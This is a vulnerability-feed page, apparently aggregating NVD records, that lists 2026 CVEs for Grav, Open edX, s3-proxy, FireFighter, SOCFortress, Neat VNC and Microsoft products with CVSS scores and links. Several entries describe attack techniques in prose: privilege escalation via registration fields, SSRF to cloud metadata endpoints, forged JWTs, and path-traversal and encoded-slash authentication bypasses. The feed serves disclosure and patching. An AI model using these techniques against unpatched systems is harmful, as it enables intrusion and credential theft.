Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes. This vulnerability is fixed in 2.0.0-beta.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42613
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.
CVSS 9.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42613).
Sources:
NVD CVE-2026-42613: https://nvd.nist.gov/vuln/detail/CVE-2026-42613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on...
https://kevwire.com/record/CVE-2026-42741
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on... (May 12, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend views-for-ninja-forms allows Blind SQL Injection.This issue affects Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend: from n/a through <= 3.3.2.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42741).
Sources:
NVD CVE-2026-42741: https://nvd.nist.gov/vuln/detail/CVE-2026-42741
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend views-for-ninja-forms allows Blind SQL Injection.This issue affects Ninja Forms Views &#8211; Display &amp; Edit Ninja Forms Submissions on your site frontend: from n/a through <= 3.3.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This...
https://kevwire.com/record/CVE-2026-42742
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This... (May 12, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42742).
Sources:
NVD CVE-2026-42742: https://nvd.nist.gov/vuln/detail/CVE-2026-42742
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-42823
Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network. (May 12, 2026).
Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42823).
Sources:
NVD CVE-2026-42823: https://nvd.nist.gov/vuln/detail/CVE-2026-42823
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally.
https://kevwire.com/record/CVE-2026-42832
Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally. (May 12, 2026).
Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42832).
Sources:
NVD CVE-2026-42832: https://nvd.nist.gov/vuln/detail/CVE-2026-42832
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-42833
Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network. (May 12, 2026).
Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42833).
Sources:
NVD CVE-2026-42833: https://nvd.nist.gov/vuln/detail/CVE-2026-42833
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management.
https://kevwire.com/record/CVE-2026-42843
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. (May 11, 2026).
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42843).
Sources:
NVD CVE-2026-42843: https://nvd.nist.gov/vuln/detail/CVE-2026-42843
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The form plugin for Grav adds the ability to create and use forms.
https://kevwire.com/record/CVE-2026-42845
The form plugin for Grav adds the ability to create and use forms. (May 11, 2026).
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42845).
Sources:
NVD CVE-2026-42845: https://nvd.nist.gov/vuln/detail/CVE-2026-42845
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Network-AI is a TypeScript/Node.js multi-agent orchestrator.
https://kevwire.com/record/CVE-2026-42856
Network-AI is a TypeScript/Node.js multi-agent orchestrator. (May 11, 2026).
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42856).
Sources:
NVD CVE-2026-42856: https://nvd.nist.gov/vuln/detail/CVE-2026-42856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open edX Platform enables the authoring and delivery of online learning at any scale.
https://kevwire.com/record/CVE-2026-42858
Open edX Platform enables the authoring and delivery of online learning at any scale. (May 11, 2026).
Open edX Platform enables the authoring and delivery of online learning at any scale. The sync_provider_data endpoint in SAMLProviderDataViewSet allows authenticated Enterprise Admin users to supply an arbitrary URL via the metadata_url POST parameter. This URL is passed directly to requests.get() in fetch_metadata_xml() without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS 169.254.169.254), or other attacker-controlled destinations. This vulnerability is fixed by commit 6fda1f120ff5a590d120ae1180185525f399c6d0 and 70a56246dd9c9df57c596e64bdd8a11b1d9da054.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42858).
Sources:
NVD CVE-2026-42858: https://nvd.nist.gov/vuln/detail/CVE-2026-42858
Vendor advisory (via NVD references): https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Open edX Platform enables the authoring and delivery of online learning at any scale. The sync_provider_data endpoint in SAMLProviderDataViewSet allows authenticated Enterprise Admin users to supply an arbitrary URL via the metadata_url POST parameter. This URL is passed directly to requests.get() in fetch_metadata_xml() without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS 169.254.169.254), or other attacker-controlled destinations. This vulnerability is fixed by commit 6fda1f120ff5a590d120ae1180185525f399c6d0 and 70a56246dd9c9df57c596e64bdd8a11b1d9da054.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Neat VNC is a VNC server library.
https://kevwire.com/record/CVE-2026-42859
Neat VNC is a VNC server library. (May 11, 2026).
Neat VNC is a VNC server library. Prior to 0.9.6, a pre-authentication stack buffer overflow exists in neatvnc in the RSA-AES security type handler. An unauthenticated remote attacker who can reach the VNC listening socket can send a crafted security type 5 (RSA-AES) or security type 129 (RSA-AES-256) handshake with an oversized client RSA public key, causing rsa_aes_send_challenge in src/auth/rsa-aes.c to overflow a 1024-byte on-stack buffer when encrypting the server challenge. This results in at least a denial of service via server crash. This vulnerability is fixed in 0.9.6.
CVSS 8.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42859).
Sources:
NVD CVE-2026-42859: https://nvd.nist.gov/vuln/detail/CVE-2026-42859
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Neat VNC is a VNC server library. Prior to 0.9.6, a pre-authentication stack buffer overflow exists in neatvnc in the RSA-AES security type handler. An unauthenticated remote attacker who can reach the VNC listening socket can send a crafted security type 5 (RSA-AES) or security type 129 (RSA-AES-256) handshake with an oversized client RSA public key, causing rsa_aes_send_challenge in src/auth/rsa-aes.c to overflow a 1024-byte on-stack buffer when encrypting the server challenge. This results in at least a denial of service via server crash. This vulnerability is fixed in 0.9.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Open edx Enterprise Service app provides enterprise features to the Open edX platform.
https://kevwire.com/record/CVE-2026-42860
The Open edx Enterprise Service app provides enterprise features to the Open edX platform. (May 11, 2026).
The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42860).
Sources:
NVD CVE-2026-42860: https://nvd.nist.gov/vuln/detail/CVE-2026-42860
Vendor advisory (via NVD references): https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FireFighter is an incident management application.
https://kevwire.com/record/CVE-2026-42864
FireFighter is an incident management application. (May 11, 2026).
FireFighter is an incident management application. Prior to 0.0.54, the POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is reachable without authentication (permission_classes = [permissions.AllowAny]). Its attachments payload is fetched server-side via httpx.get() with no URL validation, then uploaded as an attachment on the Jira ticket that gets created. An unauthenticated caller able to reach the ingress can coerce the pod into fetching arbitrary URLs and exfiltrate the response as a Jira attachment. On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it. This vulnerability is fixed in 0.0.54.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42864).
Sources:
NVD CVE-2026-42864: https://nvd.nist.gov/vuln/detail/CVE-2026-42864
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
FireFighter is an incident management application. Prior to 0.0.54, the POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is reachable without authentication (permission_classes = [permissions.AllowAny]). Its attachments payload is fetched server-side via httpx.get() with no URL validation, then uploaded as an attachment on the Jira ticket that gets created. An unauthenticated caller able to reach the ingress can coerce the pod into fetching arbitrary URLs and exfiltrate the response as a Jira attachment. On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it. This vulnerability is fixed in 0.0.54.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs.
https://kevwire.com/record/CVE-2026-42869
SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. (May 11, 2026).
SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior to 0.1.57, SOCFortress CoPilot ships a hardcoded JWT signing secret as a fallback value in backend/app/auth/utils.py:28 and ships it verbatim in .env.example. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs all authentication tokens with this publicly known value. An unauthenticated attacker can forge arbitrary admin-scoped JWTs and gain full control of the application and every security tool it manages without any credentials. This vulnerability is fixed in 0.1.57.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42869).
Sources:
NVD CVE-2026-42869: https://nvd.nist.gov/vuln/detail/CVE-2026-42869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior to 0.1.57, SOCFortress CoPilot ships a hardcoded JWT signing secret as a fallback value in backend/app/auth/utils.py:28 and ships it verbatim in .env.example. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs all authentication tokens with this publicly known value. An unauthenticated attacker can forge arbitrary admin-scoped JWTs and gain full control of the application and every security tool it manages without any credentials. This vulnerability is fixed in 0.1.57.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### oxyno-zeta/s3-proxy is an aws s3 proxy written in go.
https://kevwire.com/record/CVE-2026-42882
oxyno-zeta/s3-proxy is an aws s3 proxy written in go. (May 11, 2026).
oxyno-zeta/s3-proxy is an aws s3 proxy written in go. Prior to 5.0.0, s3-proxy contains an authentication bypass caused by inconsistent URL path interpretation between the authentication middleware and the bucket handler. The authentication middleware evaluates resource path patterns against the percent-encoded request URI (r.URL.RequestURI()), while the bucket handler constructs S3 object keys from the decoded path (r.URL.Path). This mismatch, combined with the glob library being invoked without a path separator (causing * to match across / boundaries), allows unauthenticated attackers to write to, read from, or delete objects in protected S3 namespaces. Exploitation is possible via three techniques: (1) using * patterns
that match across path separators to reach protected routes via path traversal (e.g., /open/foo/drafts/../restricted/), (2) using percent-encoded slashes (%2F) to collapse multiple path segments into a single token at the auth layer while the decoded form resolves to a protected namespace at the storage layer, and (3) using dot-dot segments (../) under ** prefix patterns, where the raw path matches an open route while Go's URL parser resolves the traversal to a protected path before the bucket handler runs. An unauthenticated attacker with network access can perform unauthorized PUT, GET, or DELETE operations on objects in authentication-protected S3 namespaces. This vulnerability is fixed in 5.0.0.
CVSS 9.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42882).
Sources:
NVD CVE-2026-42882: https://nvd.nist.gov/vuln/detail/CVE-2026-42882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
oxyno-zeta/s3-proxy is an aws s3 proxy written in go. Prior to 5.0.0, s3-proxy contains an authentication bypass caused by inconsistent URL path interpretation between the authentication middleware and the bucket handler. The authentication middleware evaluates resource path patterns against the percent-encoded request URI (r.URL.RequestURI()), while the bucket handler constructs S3 object keys from the decoded path (r.URL.Path). This mismatch, combined with the glob library being invoked without a path separator (causing * to match across / boundaries), allows unauthenticated attackers to write to, read from, or delete objects in protected S3 namespaces. Exploitation is possible via three techniques: (1) using * patterns
that match across path separators to reach protected routes via path traversal (e.g., /open/foo/drafts/../restricted/), (2) using percent-encoded slashes (%2F) to collapse multiple path segments into a single token at the auth layer while the decoded form resolves to a protected namespace at the storage layer, and (3) using dot-dot segments (../) under ** prefix patterns, where the raw path matches an open route while Go's URL parser resolves the traversal to a protected path before the bucket handler runs. An unauthenticated attacker with network access can perform unauthorized PUT, GET, or DELETE operations on objects in authentication-protected S3 namespaces. This vulnerability is fixed in 5.0.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Relay adds real-time collaboration to Obsidian.
https://kevwire.com/record/CVE-2026-42889
Relay adds real-time collaboration to Obsidian. (May 12, 2026).
Relay adds real-time collaboration to Obsidian. Relay Server versions 0.9.0 through 0.9.6 contain an authentication bypass in the multi-document WebSocket endpoints. When authentication is configured, WebSocket connections without a token query parameter were incorrectly treated as having full server permissions. An unauthenticated network attacker who knows or guesses a document ID could connect to the document sync WebSocket and read or modify document contents without a valid document token. This vulnerability is fixed in 0.9.7.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42889).
Sources:
NVD CVE-2026-42889: https://nvd.nist.gov/vuln/detail/CVE-2026-42889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Relay adds real-time collaboration to Obsidian. Relay Server versions 0.9.0 through 0.9.6 contain an authentication bypass in the multi-document WebSocket endpoints. When authentication is configured, WebSocket connections without a token query parameter were incorrectly treated as having full server permissions. An unauthenticated network attacker who knows or guesses a document ID could connect to the document sync WebSocket and read or modify document contents without a valid document token. This vulnerability is fixed in 0.9.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.
https://kevwire.com/record/CVE-2026-42893
Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network. (May 12, 2026).
Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42893).
Sources:
NVD CVE-2026-42893: https://nvd.nist.gov/vuln/detail/CVE-2026-42893
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-42898
Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network. (May 12, 2026).
Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42898).
Sources:
NVD CVE-2026-42898: https://nvd.nist.gov/vuln/detail/CVE-2026-42898
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-42899
Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network. (May 12, 2026).
Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42899).
Sources:
NVD CVE-2026-42899: https://nvd.nist.gov/vuln/detail/CVE-2026-42899
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.
https://kevwire.com/record/CVE-2026-43513
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat. (May 12, 2026).
